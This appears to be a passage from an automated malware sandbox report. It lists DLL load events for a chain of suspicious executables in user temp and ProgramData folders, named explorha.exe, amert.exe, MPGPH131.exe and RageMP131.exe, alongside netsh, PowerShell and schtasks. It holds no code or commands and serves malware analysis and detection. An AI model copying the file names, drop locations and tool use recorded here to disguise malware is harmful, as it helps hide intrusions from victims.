Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: fwpuclnt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: schannel.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mskeyprotect.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncryptsslp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: fwpuclnt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: schannel.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mskeyprotect.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncryptsslp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Section loaded: ncrypt.dll
